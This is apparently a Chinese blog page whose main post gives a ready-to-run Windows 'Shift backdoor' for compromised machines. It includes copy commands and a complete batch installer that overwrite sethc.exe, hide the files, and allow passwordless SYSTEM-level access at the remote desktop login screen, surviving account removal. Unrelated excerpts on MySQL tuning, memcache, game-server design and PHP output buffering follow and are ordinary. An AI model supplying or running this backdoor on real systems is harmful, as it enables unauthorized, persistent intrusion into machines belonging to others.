无需输入密码登陆3389

来源:脚本安全小组

在肉鸡上执行命令

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

以后再连接肉鸡3389,敲5下shift键就可以直接进入了,无需输入密码,只是登陆上去没有任务栏,一直会有密码登陆框,不过够我们做很多事情了,目前win2003测试通过。

似乎2000也可以,XP不行。这两个系统没测试。

不知道有牛人知道是什么道理不.

小道消息:连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ,你把explorer.exe换成sethc.exe 就是自动执行explorer.exe

Shift后门TT整理版
来源:TT’s Blog

将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~

然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe

或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~

哇哈哈哈哈~~~
TITLE Shift后门
@echo off
cls
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo.
echo 使用方法:本文件执行完毕后,
echo 在终端界面按Shift 5次即可登陆系统!
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
echo 完成百分之 50
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
echo 完成百分之 80
attrib c:\windows\system32\sethc.exe +h
echo 完成百分之 90
attrib c:\windows\system32\dllcache\sethc.exe +h
echo 完成百分之 100
cls
echo.
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo 后门安装完毕!
echo.
echo 感谢您使用Shift后门
echo.
echo.
echo.
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo. & pause
exit

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相关日志

mysql优化及全文搜索

mysql my.cnf文件常见优化模块
[mysqld]
port = 3306
server-id = 1
socket = /tmp/mysql.sock

# 避免MySQL的外部锁定,减少出错几率增强稳定性。
skip-locking

# 禁止MySQL对外部连接进行DNS解析
skip-name-resolve

# 指定MySQL可能的连接数量
back_log = 256
(全文…)

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相关日志

eAccelerator与memcache的区别与用途

eAccelerator和memcache,是目前较为主流的两个可使用在PHP之中的缓存加速工具.

eAccelerator专门为PHP开发,而memcache不仅仅用在PHP之中,其他所有的语言都可以使用.

 eAccelerator的主要功能:
   1. 缓存PHP文件的执行代码:在被缓存的代码再次被调用时,将直接从内存读取,从而在很大程度了PHP运行的速度.
   2. 提供了共享内存操作函数:用户可以将自己的常见非资源对像,保存到内存之中,并可以随时读取出来.

 memcache的主要功能:
 提供共享内存操作函数,可以保存和读取数据

 两者的共同点:
 共同点:都提供了共享内存操作函数,可以用来保存和读取自己的数据

 两者的区别:
 eAccelerator作为PHP的扩展库存在,那么仅在PHP运行时,可以操作和读写共享内存,一般情况,只能由操作共享内存的程序自己调用.
 同时,eAccelerator可以缓存PHP程序的执行代码,提升程序的调入和执行速度.
 memcache主要作为一个共享内存服务器,其PHP扩展库仅仅作为PHP到memcache的连接库存在,类似MySQL扩展库.因而,memcache可以完全脱离PHP,其共享的数据,可以被不同的程序调用.

 根据两者的不同,我们将他们使用在真真需要的地方:
 eAccelerator主要用于单机PHP提速,缓存中间数据.对于实时性高,但数据操作量小的情况下,非常实用.
 memcache用于分布式或者集群系统,多台服务器可以共享数据.对于实时性高,同时数据操作量大的情况下,非常实用.

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相关日志

PHP中的Memcache函数库(Memcache Functions)

/usr/local/bin/memcached -d -m 10 -u root -l 127.0.0.1 -p 11211 -c 256 -P /tmp/memcached.pid
memcached 的服务正式启动

Memcache::add — 添加一个值,如果已经存在,则返回false
Memcache::addServer — 添加一个可供使用的服务器地址
Memcache::close — 关闭一个Memcache对象
Memcache::connect — 创建一个Memcache对象
memcache_debug — 控制调试功能
Memcache::decrement — 对保存的某个key中的值进行减法操作
Memcache::delete — 删除一个key值
Memcache::flush — 清除所有缓存的数据
Memcache::get — 获取一个key值
Memcache::getExtendedStats — 获取进程池中所有进程的运行系统统计
Memcache::getServerStatus — 获取运行服务器的参数
Memcache::getStats — 返回服务器的一些运行统计信息
Memcache::getVersion — 返回运行的Memcache的版本信息
Memcache::increment — 对保存的某个key中的值进行加法操作
Memcache::pconnect — 创建一个Memcache的持久连接对象
Memcache::replace — R对一个已有的key进行覆写操作
Memcache::set — 添加一个值,如果已经存在,则覆写
Memcache::setCompressThreshold — 对大于某一大小的数据进行压缩
Memcache::setServerParams — 在运行时修改服务器的参数 (全文…)

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数据服务器的设计

今天开始正式开始做数据服务器。在这点上,我希望一组服务器上所有的逻辑服务遇到的数据存取需求都通过一个单一的数据服务器完成。而且,写入数据是单向通讯的。即,逻辑服务器只提读写盘请求,而无须确认。写数据好说,读数据稍微难处理一点,我现在的方案是,数据服务器加载数据的部分只对位置服务器负责,把数据提交到位置服务器即可。位置服务器可以通过分析数据知道玩家的数据流应该流向哪台逻辑服务器。

以上逻辑是基于每个玩家有独立的数据的,而且一个玩家同时只存在于唯一一个场景。也就是说,当一组数据存活的时候,只唯一属于一台逻辑服务器。这样做的好处是,切换场景非常的简单,只是让玩家从一个场景退出,给数据服务器发出写盘指令,并发送所有数据。数据服务器写盘的同时也 cache 了这些数据,并向位置服务器提交新的位置,并把这些数据转发向位置服务器。位置服务器可以再转交给新的场景。

对于玩家登陆和登出的处理并没有特别之处,我们可以设立两个虚拟场景,一个负责登入,一个负责登出。每个新连接自动导入登入场景,这个场景负责发出加载指令(下面可以看到,甚至无须设置加载数据的协议)。然后再做一个自动的场景切换操作即可。而玩家登出,则是转入登出场景,这是一个黑洞,玩家的连接可以在这里安全的断掉。

当玩家不停的穿梭于各个场景之间时,为了避免频繁的数据转发,我们可以给玩家数据做一个赃标记。如果没有弄赃,实际的数据可以不被转发。这个标记的另一个意义在于,若数据没有弄赃,而数据服务器的 cache 中又没有数据时,就需要从外存加载了。其实这就是一个读请求。 (全文…)

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多进程的游戏服务器设计

目前,我们的游戏服务器组是按多进程的方式设计的。强调多进程,是想提另外一点,我们每个进程上是单线程的。所以,我们在设计中,系统的复杂点在于进程间如何交换数据;而不需要考虑线程间的数据锁问题。

如果肆意的做进程间通讯,在进程数量不断增加后,会使系统混乱不可控。经过分析后,我决定做如下的限制:

如果一个进程需要和多个服务器做双向通讯,那么这个进程不能处理复杂的逻辑,而只是过滤和转发数据用。即,这样的一个进程 S ,只会把进程 A 发过来的数据转发到 B ;或把进程 B 发过来的数据转发到 A 。或者从一端发过来的数据,经过简单的协议分析后,可以分发到不同的地方。例如,把客户端发过来的数据包中的聊天信息分离处理,交到聊天进程处理。

有逻辑处理的进程上的数据流一定是单向的,它可以从多个数据源读取数据,但是处理后一定反馈到另外的地方,而不需要和数据源做逻辑上的交互。

每个进程尽可能的保持单个输入点,或是单个输出点。

所有费时的操作均发到独立的进程,以队列方式处理。

按功能和场景划分进程,单一服务和单一场景中不再分离出多个进程做负载均衡。 (全文…)

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动态加载资源

如今很多游戏engine宣称自己支持动态加载地图,也就是说可以作到跨地图时的零读取时间。听起来很高深的技术,实际不难实现。最近我正在考虑更加通用的解决方案。

先说说基本的思路。也就是我们需要把地图数据切割成小块,让每一块的数据读取解析量并不太大。然后,就可以根据玩家所在坐标读取最小数据量的数据。当玩家移动的时候,利用一些机器闲置时间去读周围的场景,或者进一步可以根据玩家移动方向把前方数据预读的优先级别调高。

其实,这个方案可以被推广到所有的游戏资源。其实,我们可以给每个资源文件都放置一个通用的数据域存放一些建议关联文件列表。如果是地图块的话,它的建议依赖文件就是它周围的地图块,或者是人为设置过跳转点的目标块。

而模型文件则可以把它依赖的贴图,骨骼文件做为建议依赖资源。地图场景文件可以建议依赖一些摆放在上面的模型文件。

有了这些依赖关系,我们在读取某个指定资源文件后,可以用一个独立线程预先加载一些可能下一步要加载数据,也可以由逻辑层主动通知一些预测信息。例如我向东向移动,可以通知 I/O 线程,东边的相关资源优先级别高一些,I/O 线程则去调整预读队列的次序。

I/O 线程的设计是比较复杂的,我的最初想法是建立一个大的 cache, 以内存页对齐(IA32 下是 4K)。如果数据被预读了,主线程索要数据的时候,用共享内存的方式,将 cache 中的数据块交换出去。

经过和同事的讨论,一个做 OS 的同事提示我,设计可以更简洁一些。因为现在 OS 对 file I/O 的 cache 机制都非常完善了,预读只需要去真的读一下文件即可,不需要再去自己做 cache,自己做 cache 只能节省一些数据 copy 的操作,但是其逻辑的复杂程度还有页表操作的负担不一定划算,所以我们只用专心做好预读逻辑即可。

这样的动态加载的资源管理模块,完全可以做的对主线程完全透明。我们的主线程只需要按阻塞模式去读取文件就够了。

但是,如果读取文件还伴随着耗时的解码过程。比如解 jpeg,解压缩,解密。那么我们最好自己做 cache 了。

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用PHP控制您的浏览器cache

Output Control 函数可以让你自由控制脚本中数据的输出。它非常地有用,特别是对于:当你想在数据已经输出后,再输出文件头的情况。输出控制函数不对使用 header() 或 setcookie(), 发送的文件头信息产生影响,只对那些类似于 echo() 和 PHP 代码的数据块有作用。

我们先举一个简单的例子,让大家对Output Control有一个大致的印象:
Example 1.

<?php
ob_start(); //打开缓冲区
echo \"Hellon\"; //输出
header(“location:index.php”); //把浏览器重定向到index.php
ob_end_flush();//输出全部内容到浏览器
?>

所有对header()函数有了解的人都知道,这个函数会发送一段文件头给浏览器,但是如果在使用这个函数之前已经有了任何输出(包括空输出,比如空格,回车和换行)就会提示出错。如果我们去掉第一行的ob_start(),再执行此程序,我们会发现得到了一条错误提示:“Header had all ready send by”!但是加上ob_start,就不会提示出错,原因是当打开了缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到你使用flush或者ob_end_flush才会输出,所以并不会有任何文件头输出的错误!

(全文…)

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